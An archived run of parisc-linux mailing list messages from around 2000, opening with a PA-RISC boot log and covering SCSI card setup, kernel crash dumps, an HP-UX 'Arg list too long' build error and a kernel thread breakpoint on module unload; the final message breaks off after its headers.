sym53c8xx: 53c896 detected 
sym53c875-0: rev 0x3 on pci bus 1 device 5 function 0 irq 769
sym53c875-0: NCR clock is 40218KHz
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-0: on-chip RAM at 0xf4901000
sym53c875-0: restart (scsi reset).
sym53c875-0: Downloading SCSI SCRIPTS.
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 0 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4002000
sym53c896-1: suspicious SCSI data while resetting the BUS.
sym53c896-1: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 0x4000100, expecting 0x100
sym53c896-1: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE POWER etc.!
sym53c896-1: giving up ...
kernel BUG at sym53c8xx.c:719!
sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 513
sym53c896-1: NCR clock is 40218KHz
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: on-chip RAM at 0xf4000000
sym53c896-1: restart (scsi reset).
sym53c896-1: handling phase mismatch from SCRIPTS.
sym53c896-1: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.6b
scsi1 : sym53c8xx - version 1.6b
scsi : 2 hosts.
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi1, channel 0, id 6, lun 0
sym53c896-1-<6,0>: tagged command queue depth set to 8
scsi : detected 1 SCSI disk total.
sym53c896-1-<6,0>: wide msgout: 1-2-3-1.
sym53c896-1-<6,0>: wide msgin: 1-2-3-1.
sym53c896-1-<6,0>: wide: wide=1 chg=0.
sym53c896-1-<6,0>: wide msgout: 1-2-3-1.
sym53c896-1-<6,0>: wide msgin: 1-2-3-1.
sym53c896-1-<6,0>: wide: wide=1 chg=0.
sym53c896-1-<6,0>: sync msgout: 1-3-1-c-1f.
sym53c896-1-<6,0>: sync msg in: 1-3-1-c-f.
sym53c896-1-<6,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 15)
SCSI device sda: hdwr sector= 512 bytes. Sectors= 17773524 [8678 MB] [8.7 GB]
Partition check:
 sda: unknown partition table
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
: Enabling device 01:04.0 (0043 -> 0143)
ttyS00 at port 0x12200 (irq = 770) is a 16550A
Linux Tulip driver version 0.9.8 (July 13, 2000)
: Enabling device 00:0c.0 (0057 -> 0157)
eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:36:00:89, IRQ 514.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 15.8.81.247, my address is 15.8.80.77
Switching from PDC console

[ and then output comes from the add-on serial card ]
kmem_create: Forcing size word alignment - nfs_fh
Looking up port of RPC 100003/2 on 15.8.81.247
Looking up port of RPC 100005/2 on 15.8.81.247
VFS: Mounted root (nfs filesystem) readonly.
INIT: version 2.78 booting
Activating swap...
mount: directory to mount not in host:dir format
/etc/init.d/rcS: /etc/mtab: Read-only file system
Checking all file systems...
Parallelizing fsck version 1.19-WIP (7-Jul-2000)
Mounting local filesystems...
not mounted anything
Starting portmap daemon: portmapstart-stop-daemon: nothing in /proc - not mounted?


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] c3k output
Date: Tue, 03 Oct 2000 18:39:22 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <200010040139.SAA02920@milano.cup.hp.com>
References: <200010040132.SAA02862@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619160 4231 80.91.229.3 (22 Nov 2014 01:19:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct  3 19:34:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04730
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 19:34:20 -0600
Original-Received: (qmail 26471 invoked by uid 15267); 4 Oct 2000 01:35:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26464 invoked from network); 4 Oct 2000 01:35:16 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 01:35:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 555883B5
	for <parisc-linux@thepuffingroup.com>; Tue,  3 Oct 2000 18:35:15 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id SAA02920
	for <parisc-linux@thepuffingroup.com>; Tue, 3 Oct 2000 18:39:23 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 03 Oct 2000 18:32:52 PDT."
             <200010040132.SAA02862@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8048

Grant Grundler wrote:
...
> The output from this system is interesting in that it has an 896 SCSI
> card installed and it seems to work...though I don't currently have any
> disks connected.

I was confused - the 875 (ultra-wide-diff) SCSI is the add-on.
The 896 is internal (on the motherboard) and one disk is installed
w/HPUX on it. I wanted to add some disks to the 875 interface which
I can install parisc-linux on.

sorry,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel panic: taking a dump
Date: Wed, 04 Oct 2000 13:23:29 +0200
Organization: H.P
Lines: 17
Approved: news@gmane.org
Message-ID: <39DB1331.C4A5B8B3@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619160 4236 80.91.229.3 (22 Nov 2014 01:19:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Wed Oct  4 05:26:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA19740
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 05:26:31 -0600
Original-Received: (qmail 8077 invoked by uid 15267); 4 Oct 2000 11:27:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8070 invoked from network); 4 Oct 2000 11:27:21 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 11:27:21 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 9C6671A7C0
	for <parisc-linux@thepuffingroup.com>; Wed,  4 Oct 2000 13:27:18 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA18533 for <parisc-linux@thepuffingroup.com>; Wed, 4 Oct 2000 13:26:26 +0200 (METDST)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8049

	Hi.
I'm working since a long time with HP-UX, and I'm dealing
often with dumps. But in the same time I'm really found of linux.
And I'm looking for the feature of taking a dump when kernel panics.
Do you have already think to this (like taking a TOC for example).
The only thing I've found is the SGI stuff: 
http://reality.sgi.com/slurn_engr/
Do you know a project that start to do something, or there's
nothing out ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: yuqian <yuqian@huawei.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pre-build HP-UX/10.20 bash's problem
Date: 4 Oct 2000 12:57:46 -0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20001004125746.18672.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619160 4238 80.91.229.3 (22 Nov 2014 01:19:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: yuqian@huawei.com  Wed Oct  4 06:56:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA20685
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 06:56:50 -0600
Original-Received: (qmail 18673 invoked by uid 15267); 4 Oct 2000 12:57:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18651 invoked from network); 4 Oct 2000 12:57:45 -0000
Original-Received: from unknown (HELO smtp.huawei.com) (202.96.135.132)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 12:57:45 -0000
Original-Received: from y18626 ([10.108.21.26]) by smtp.huawei.com
          (Netscape Messaging Server 4.15) with SMTP id G1WOVN01.E12 for
          <parisc-linux@thepuffingroup.com>; Wed, 4 Oct 2000 20:47:47 +0800 
X-Sender: y18626@pop.huawei.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Xref: news.gmane.org gmane.linux.ports.parisc:8050

Hi.
I have a HP B2000 (9000/785) with HP-UX 10.20 and installed 
binaries/HP-UX/depot/10.20/bash-2.03-1.hpux-10.20.depot.gz,
but it not work when I want to build a new kernel:
   bash-2.03$ make dep
   scripts/mkdep init/*.c > .depend
   scripts/mkdep `find /home/yq/linux/include/asm
/home/yq/linux/include/linux /home/yq/linux/include/scsi
/home/yq/linux/include/net -name   SCCS -prune -o -follow -name \*.h ! -name
modversions.h -print` > .hdepend
   bash: scripts/mkdep: Arg list too long
   make: *** [dep-files] Error 126
  
Am I missing any thing?
Thanks for any advices.


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pre-build HP-UX/10.20 bash's problem
Date: Wed, 04 Oct 2000 15:10:05 +0200
Organization: H.P
Lines: 16
Approved: news@gmane.org
Message-ID: <39DB2C2D.BBFBAA18@admin.france.hp.com>
References: <20001004125746.18672.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619161 4241 80.91.229.3 (22 Nov 2014 01:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:21 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: yuqian <yuqian@huawei.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Wed Oct  4 07:14:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA21309
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 07:14:35 -0600
Original-Received: (qmail 4964 invoked by uid 15267); 4 Oct 2000 13:15:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4952 invoked from network); 4 Oct 2000 13:15:31 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 13:15:31 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 4BDD017B8F; Wed,  4 Oct 2000 15:13:53 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id PAA13316; Wed, 4 Oct 2000 15:13:02 +0200 (METDST)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8051

	Hi
The answer is in your kernel. Rebuild the hpux kernel
after modifying the parameter:
ncargs_enable = 1
(I don't remember exactly the parameter name but it
must be this one). It will let you access 24kb for
arg list, without this modification the size for
arg is only 2k. This parameter is adding by PHKL_16751.

	Bye.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pre-build HP-UX/10.20 bash's problem
Date: Wed, 04 Oct 2000 15:14:40 +0200
Organization: H.P
Lines: 33
Approved: news@gmane.org
Message-ID: <39DB2D40.4CC05783@admin.france.hp.com>
References: <20001004125746.18672.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619161 4244 80.91.229.3 (22 Nov 2014 01:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:21 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: yuqian <yuqian@huawei.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Wed Oct  4 07:17:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA21636
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 07:17:37 -0600
Original-Received: (qmail 8213 invoked by uid 15267); 4 Oct 2000 13:18:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8197 invoked from network); 4 Oct 2000 13:18:33 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 13:18:33 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id E59BC1ABF1; Wed,  4 Oct 2000 15:18:28 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id PAA15308; Wed, 4 Oct 2000 15:17:37 +0200 (METDST)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8052

	Hi
I've retrieve the kernel parameter:
large_ncargs_enabled
Put this one to 1 and it would be fine.

	Bye.
yuqian wrote:
> 
> Hi.
> I have a HP B2000 (9000/785) with HP-UX 10.20 and installed
> binaries/HP-UX/depot/10.20/bash-2.03-1.hpux-10.20.depot.gz,
> but it not work when I want to build a new kernel:
>    bash-2.03$ make dep
>    scripts/mkdep init/*.c > .depend
>    scripts/mkdep `find /home/yq/linux/include/asm
> /home/yq/linux/include/linux /home/yq/linux/include/scsi
> /home/yq/linux/include/net -name   SCCS -prune -o -follow -name \*.h ! -name
> modversions.h -print` > .hdepend
>    bash: scripts/mkdep: Arg list too long
>    make: *** [dep-files] Error 126
> 
> Am I missing any thing?
> Thanks for any advices.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ret_from_kernel_thread incomplete
Date: Wed, 4 Oct 2000 15:54:38 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20001004155438.D27981@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619161 4247 80.91.229.3 (22 Nov 2014 01:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed Oct  4 08:55:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA22882
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 08:55:39 -0600
Original-Received: (qmail 30362 invoked by uid 15267); 4 Oct 2000 14:56:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30351 invoked from network); 4 Oct 2000 14:56:35 -0000
Original-Received: from user32-143.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.32.143)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 14:56:35 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D2B10B005; Wed,  4 Oct 2000 15:54:38 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:8053

Hi,
  Some scsi drivers create a kernel thread for error handling.  If
such a driver is build as a module, then when the module is unloaded
you get something like:

10:~# rmmod lasi7xx_mod
break 0,0: pid=100 command='scsi_eh_0'
scsi_eh_0[100]: Breakpoint 0

PSW  : 0004010b  GR 1 : c022c000  GR 2 : c0104c48  GR 3 : c7834000  
GR 4 : c7f241c0  GR 5 : c7f241c0  GR 6 : c7968000  GR 7 : c7834840  
GR 8 : c7834694  GR 9 : 00000000  GR10 : c8815000  GR11 : c8815000  
GR12 : c880d000  GR13 : c7825000  GR14 : c7834548  GR15 : 00000001  
GR16 : 000927f8  GR17 : 00000001  GR18 : 20020128  GR19 : 00000001  
GR20 : 00000020  GR21 : c022c264  GR22 : 0000001a  GR23 : c7968000  
GR24 : 0000000a  GR25 : c7834758  GR26 : c78346a4  GR27 : c0218000  
GR28 : c7834000  GR29 : c783469c  GR30 : c7968740  GR31 : 00000002  
SR0  : 00000000  SR1  : 00002002  SR2  : 00000000  SR3  : 00002002  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c0104c48 c0104c4c ORIG_R28 : c7f241c0
 IIR : 00000000 ISR : 00000000 IOR : c79685ac

scsi : 0 hosts.
10:~# 

c0104c48 corresponds to

        .word   0       /* FIXME */

round about line 521 of arch/parisc/kernel/entry.S

Richard


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pre-build HP-UX/10.20 bash's problem
Date: Wed, 4 Oct 2000 11:05:50 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200010041505.LAA06932@hiauly1.hia.nrc.ca>
References: <20001004125746.18672.qmail@mailserv2.iuinc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619161 4249 80.91.229.3 (22 Nov 2014 01:19:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: yuqian@huawei.com (yuqian)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct  4 09:05:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23413
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 09:05:00 -0600
Original-Received: (qmail 11758 invoked by uid 15267); 4 Oct 2000 15:05:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11747 invoked from network); 4 Oct 2000 15:05:58 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 15:05:58 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA06932;
	Wed, 4 Oct 2000 11:05:51 -0400 (EDT)
In-Reply-To: <20001004125746.18672.qmail@mailserv2.iuinc.com> from "yuqian" at Oct 4, 2000 12:57:46 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8054

> Hi.
> I have a HP B2000 (9000/785) with HP-UX 10.20 and installed 
> binaries/HP-UX/depot/10.20/bash-2.03-1.hpux-10.20.depot.gz,
> but it not work when I want to build a new kernel:
>    bash-2.03$ make dep
>    scripts/mkdep init/*.c > .depend
>    scripts/mkdep `find /home/yq/linux/include/asm
> /home/yq/linux/include/linux /home/yq/linux/include/scsi
> /home/yq/linux/include/net -name   SCCS -prune -o -follow -name \*.h ! -name
> modversions.h -print` > .hdepend
>    bash: scripts/mkdep: Arg list too long
>    make: *** [dep-files] Error 126
>   
> Am I missing any thing?
> Thanks for any advices.

I think this can be fixed by changing the Makefile to use relative paths
instead of absolute paths.  This shortens the arg list enough for 
building under hpux.

Changing the kernel to support a larger arg and environment space looks
like it will waste a lot of memory for most applications and thus may
not be suited for machines with limited memory or swap space.  So, I would
try hacking the Makefile first.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic: taking a dump
Date: Wed, 04 Oct 2000 09:46:55 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <200010041647.JAA03302@milano.cup.hp.com>
References: <39DB1331.C4A5B8B3@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619162 4251 80.91.229.3 (22 Nov 2014 01:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Oct  4 10:42:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25490
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Oct 2000 10:42:18 -0600
Original-Received: (qmail 1728 invoked by uid 15267); 4 Oct 2000 16:43:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 780 invoked from network); 4 Oct 2000 16:43:04 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 16:43:04 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 21AEDDC2
	for <parisc-linux@thepuffingroup.com>; Wed,  4 Oct 2000 09:43:03 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA03302;
	Wed, 4 Oct 2000 09:47:05 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 04 Oct 2000 13:23:29 PDT."
             <39DB1331.C4A5B8B3@admin.france.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8055

Bruno Vidal wrote:
...
> And I'm looking for the feature of taking a dump when kernel panics.
> Do you have already think to this (like taking a TOC for example).
> The only thing I've found is the SGI stuff: 
> http://reality.sgi.com/slurn_engr/
> Do you know a project that start to do something, or there's
> nothing out ?

See http://oss.sgi.com/projects/ and click on "LKCD"
(Linux Kernel Crash Dumps) project.

I haven't yet looked at LKCD closely yet.
I'd like to see our dump format be compatible with HPUX's just to
leverage the dump analysis tools. But right now, I'd be happy
with any kind of a dump.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed June <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP & Cygnus partnership
Date: Mon, 05 Apr 1999 20:20:44 -0400
Organization: buggz.net
Lines: 14
Approved: news@gmane.org
Message-ID: <3709535C.2C45B4E0@america.net>
References: <19990405094704.A29056@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619162 4253 80.91.229.3 (22 Nov 2014 01:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: buggz@america.net  Mon Apr  5 20:17:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id UAA08211
	for <parisc-linux@sod.res.cmu.edu>; Mon, 5 Apr 1999 20:17:34 -0400
Original-Received: (qmail 30102 invoked by uid 15267); 6 Apr 1999 00:17:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30082 invoked from network); 6 Apr 1999 00:17:02 -0000
Original-Received: from smtp.america.net (199.170.121.14)
  by mailserv2.iuinc.com with SMTP; 6 Apr 1999 00:17:02 -0000
Original-Received: from america.net (buggz@tnt1-205.america.net [206.67.248.205])
	by smtp.america.net (8.9.1/8.9.1) with ESMTP id UAA16870
	for <parisc-linux@thepuffingroup.com>; Mon, 5 Apr 1999 20:17:14 -0400 (EDT)
Original-Sender: buggz@smtp.america.net
X-Mailer: Mozilla 4.08 [en] (X11; U; Linux 2.2.5-ac3 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:8056

>

Wonder if this will mean GNUPro Toolkit on HP-SUX or what ?


--

 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.




From - Thu Nov 08 21:13:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ret_from_kernel_thread incomplete
Date: Wed, 4 Oct 2000 17:41:55 +0100
